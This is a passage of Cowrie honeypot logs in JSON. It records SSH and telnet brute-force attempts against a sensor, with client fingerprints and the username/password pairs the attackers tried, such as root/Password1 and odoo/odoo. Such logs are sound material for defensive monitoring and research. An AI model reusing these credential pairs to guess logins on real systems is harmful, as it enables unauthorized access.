H client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:51.363652Z","src_ip":"45.156.87.253","session":"2e4d2d08fa2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password1","message":"login attempt [root/Password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:51.608572Z","src_ip":"45.156.87.253","session":"2e4d2d08fa2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:52.691096Z","src_ip":"45.156.87.253","session":"2e4d2d08fa2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.79421877861023,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:53.699627Z","src_ip":"14.47.200.242","session":"ba43d4996114","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"14.47.200.242","src_port":38732,"dst_ip":"159.203.135.109","dst_port":23,"session":"93c094f5e62d","protocol":"telnet","message":"New connection: 14.47.200.242:38732 (159.203.135.109:23) [session: 93c094f5e62d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:53.890968Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":40184,"dst_ip":"10.17.0.5","dst_port":22,"session":"549179b69ec8","protocol":"ssh","message":"New connection: 45.156.87.253:40184 (10.17.0.5:22) [session: 549179b69ec8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:54.604302Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:54.607405Z","src_ip":"45.156.87.253","session":"549179b69ec8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:54.687664Z","src_ip":"45.156.87.253","session":"549179b69ec8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"b'\\xcc\\xd1\\xd1\\xca'","password":"b'\\xd5\\xd2\\xc8\\x8f\\x8c\\x8d'","message":"login attempt [b'\\xcc\\xd1\\xd1\\xca'/b'\\xd5\\xd2\\xc8\\x8f\\x8c\\x8d'] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:54.749172Z","src_ip":"14.47.200.242","session":"93c094f5e62d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"passwd","message":"login attempt [ansible/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:54.930557Z","src_ip":"45.156.87.253","session":"549179b69ec8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lghkel\t","password":"zpz}ld\t","message":"login attempt [lghkel\t/zpz}ld\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:55.647407Z","src_ip":"14.47.200.242","session":"93c094f5e62d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:56.013759Z","src_ip":"45.156.87.253","session":"549179b69ec8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zalee\t","password":"za\t","message":"login attempt [zalee\t/za\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:56.529088Z","src_ip":"14.47.200.242","session":"93c094f5e62d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":40196,"dst_ip":"10.17.0.5","dst_port":22,"session":"fec607222f79","protocol":"ssh","message":"New connection: 45.156.87.253:40196 (10.17.0.5:22) [session: fec607222f79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:57.920782Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:57.998635Z","src_ip":"45.156.87.253","session":"fec607222f79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:58.110798Z","src_ip":"45.156.87.253","session":"fec607222f79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootroot","message":"login attempt [root/rootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:58.357994Z","src_ip":"45.156.87.253","session":"fec607222f79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:59.441370Z","src_ip":"45.156.87.253","session":"fec607222f79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":36566,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec3dc780b6a5","protocol":"ssh","message":"New connection: 45.156.87.253:36566 (10.17.0.5:22) [session: ec3dc780b6a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:01.378016Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:01.381491Z","src_ip":"45.156.87.253","session":"ec3dc780b6a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:01.463308Z","src_ip":"45.156.87.253","session":"ec3dc780b6a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123456","message":"login attempt [ftpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:01.719453Z","src_ip":"45.156.87.253","session":"ec3dc780b6a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:02.910043Z","src_ip":"45.156.87.253","session":"ec3dc780b6a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":36576,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2d0328f7ed6","protocol":"ssh","message":"New connection: 45.156.87.253:36576 (10.17.0.5:22) [session: b2d0328f7ed6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:04.749169Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:04.753566Z","src_ip":"45.156.87.253","session":"b2d0328f7ed6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:04.836664Z","src_ip":"45.156.87.253","session":"b2d0328f7ed6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"worker","password":"worker","message":"login attempt [worker/worker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:05.085128Z","src_ip":"45.156.87.253","session":"b2d0328f7ed6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:06.170752Z","src_ip":"45.156.87.253","session":"b2d0328f7ed6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":36586,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6ef7f4f79d0","protocol":"ssh","message":"New connection: 45.156.87.253:36586 (10.17.0.5:22) [session: d6ef7f4f79d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:08.221816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:08.226290Z","src_ip":"45.156.87.253","session":"d6ef7f4f79d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:08.307479Z","src_ip":"45.156.87.253","session":"d6ef7f4f79d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"odoo","message":"login attempt [odoo/odoo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:08.551261Z","src_ip":"45.156.87.253","session":"d6ef7f4f79d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:09.634399Z","src_ip":"45.156.87.253","session":"d6ef7f4f79d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":46508,"dst_ip":"10.17.0.5","dst_port":22,"session":"0bbe584d84ab","protocol":"ssh","message":"New connection: 45.156.87.253:46508 (10.17.0.5:22) [session: 0bbe584d84ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:11.547820Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:11.552068Z","src_ip":"45.156.87.253","session":"0bbe584d84ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:11.632631Z","src_ip":"45.156.87.253","session":"0bbe584d84ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"passw0rd","message":"login attempt [user/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:11.875180Z","src_ip":"45.156.87.253","session":"0bbe584d84ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:12.970503Z","src_ip":"45.156.87.253","session":"0bbe584d84ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":46524,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a7576dd2fb8","protocol":"ssh","message":"New connection: 45.156.87.253:46524 (10.17.0.5:22) [session: 5a7576dd2fb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:14.897949Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:14.902002Z","src_ip":"45.156.87.253","session":"5a7576dd2fb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:14.982761Z","src_ip":"45.156.87.253","session":"5a7576dd2fb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aa123456","message":"login attempt [root/aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:15.401812Z","src_ip":"45.156.87.253","session":"5a7576dd2fb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:16.488593Z","src_ip":"45.156.87.253","session":"5a7576dd2fb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":46538,"dst_ip":"10.17.0.5","dst_port":22,"session":"492964b87360","protocol":"ssh","message":"New connection: 45.156.87.253:46538 (10.17.0.5:22) [session: 492964b87360]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:18.407502Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:18.411375Z","src_ip":"45.156.87.253","session":"492964b87360","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"